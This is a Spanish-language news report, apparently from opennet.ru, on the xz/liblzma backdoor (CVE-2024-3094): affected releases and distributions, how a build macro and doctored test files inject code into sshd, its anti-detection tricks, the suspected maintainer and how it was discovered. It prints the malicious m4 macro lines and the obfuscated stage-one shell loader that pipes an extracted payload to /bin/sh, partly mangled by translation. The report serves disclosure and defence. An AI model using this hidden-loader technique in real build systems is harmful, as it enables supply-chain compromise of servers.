Se descubrió una puerta trasera en la biblioteca xz/liblzma que permite la entrada a través de sshd

En el paquete XZ Utils, que incluye la biblioteca liblzma y utilidades para trabajar con datos comprimidos en formato “.xz”, se ha identificado una puerta trasera (CVE-2024-3094) que permite la interceptación y modificación de datos procesados ​​por aplicaciones asociadas. con la biblioteca liblzma. El objetivo principal de la puerta trasera es el servidor OpenSSH, que en algunas distribuciones viene incluido con la biblioteca libsystemd, que a su vez utiliza liblzma. Vincular sshd con una biblioteca vulnerable permite a los atacantes obtener acceso al servidor SSH sin autenticación.

La puerta trasera estuvo presente en las versiones oficiales 5.6.0 y 5.6.1, publicadas el 24 de febrero y el 9 de marzo, que lograron ingresar a algunas distribuciones y repositorios, por ejemplo, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide y 40-beta, openSUSE factory y Tumblrweed, LibreELEC, Alpine Edge, Solus, NixOS inestable, OpenIndiana, OpenMandriva Rolling, pkgsrc actual, Slackware actual, pruebas de Manjaro. Se recomienda a todos los usuarios de las versiones xz 5.6.0 y 5.6.1 que vuelvan urgentemente a la versión 5.4.6.

Entre los factores que mitigaron el problema, cabe señalar que la versión de liblzma con puerta trasera no logró formar parte de las versiones estables de grandes distribuciones, pero afectó a openSUSE Tumbleweed y Fedora 40-beta. Arch Linux y Gentoo usaron una versión vulnerable de zx, pero no son susceptibles al ataque porque no aplican el parche systemd-notify a openssh, lo que hace que sshd se vincule a liblzma. La puerta trasera sólo afecta a sistemas x86_64 basados ​​en el kernel de Linux y la biblioteca Glibc C.

El código de activación de la puerta trasera estaba oculto en las macros m4 del archivo build-to-host.m4 utilizado por el kit de herramientas de automake durante la compilación. Durante el ensamblaje, durante la ejecución de complejas operaciones ofuscadas basadas en archivos (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilizados para probar la corrección de la operación, se generó un archivo objeto con código malicioso, que se incluyó en la biblioteca liblzma y cambió la lógica de operación de algunas de sus funciones. Las macros m4 que activan la puerta trasera se incluyeron en los archivos comprimidos de lanzamiento, pero no en el repositorio de Git. Al mismo tiempo, en el repositorio había archivos de prueba maliciosos, es decir. la persona que implementó la puerta trasera tenía acceso tanto al repositorio como a los procesos de generación de versiones.

Al utilizar liblzma en aplicaciones, se podrían utilizar cambios maliciosos para interceptar o modificar datos, o afectar el funcionamiento de sshd. En particular, el código malicioso falsificó la función RSA_public_decrypt para evitar el proceso de autenticación sshd. La puerta trasera incluía protección contra detección y no se manifestaba cuando se configuraban las variables de entorno LANG y TERM (es decir, al ejecutar el proceso en la terminal) y las variables de entorno LD_DEBUG y LD_PROFILE no estaban configuradas, y también se activaba solo al ejecutar el /usr/sbin/sshd archivo ejecutable. La puerta trasera también tenía un medio para detectar la ejecución en entornos de depuración.

En particular, el archivo m4/build-to-host.m4 usaba gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | evaluación $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

En la primera construcción, la operación grep encontró el archivo tests/files/bad-3-corrupt_lzma2.xz, que, al descomprimirlo, generó el script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && salida 0 [ ! $(uname) = "Linux" ] && salida 0 [ ! $(uname) = "Linux" ] && salida 0 [ ! $(uname) = "Linux" ] && salida 0 [ ! $(uname) = "Linux" ] && salida 0 eval `grep ^srcdir= config.status` si prueba -f ../../config.status; luego eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && cabeza -c +2048 && (cabeza -c +1024 >/dev/null) && cabeza -c +2048 && (cabeza -c +1024 >/dev/null) && cabeza - c +2048 && (cabeza -c +1024 >/dev/null) && cabeza -c +2048 && (cabeza -c +1024 >/dev/null) && cabeza -c +2048 && (cabeza -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Mundo####

Aún no se ha aclarado del todo cómo los atacantes lograron acceder a la infraestructura del proyecto xz. Tampoco está claro todavía cuántos usuarios y proyectos se vieron comprometidos como resultado de la puerta trasera. El presunto autor de la puerta trasera (JiaT75 - Jia Tan), que publicó archivos con código malicioso en el repositorio, mantuvo correspondencia con los desarrolladores de Fedora y envió solicitudes de extracción a Debian relacionadas con la transición de distribuciones a la rama xz 5.6.0, y no Despierta sospechas, ya que participó en xz y se ha estado desarrollando durante los últimos dos años y es el segundo desarrollador en cuanto a la cantidad de cambios realizados. Además del proyecto xz, el presunto autor de la puerta trasera también participó en el desarrollo de los paquetes xz-java y xz-embedded. Además, Jia Tan fue incluido hace unos días entre los mantenedores del proyecto XZ Embedded utilizado en el kernel de Linux.

El cambio malicioso fue descubierto luego de analizar el consumo excesivo de CPU y los errores generados por valgrind al conectarse vía ssh a sistemas basados ​​en Debian sid. Es de destacar que la versión xz 5.6.1 incluyó cambios preparados por el presunto autor de la puerta trasera en respuesta a quejas sobre desaceleraciones y fallas de sshd que surgieron después de actualizar a la versión zx 5.6.0 con la puerta trasera. Además, el año pasado Jia Tan realizó cambios que eran incompatibles con el modo de inspección "-fsanitize=address", lo que provocó que se deshabilitara durante las pruebas fuzz.

Fuente: opennet.ru

Añadir un comentario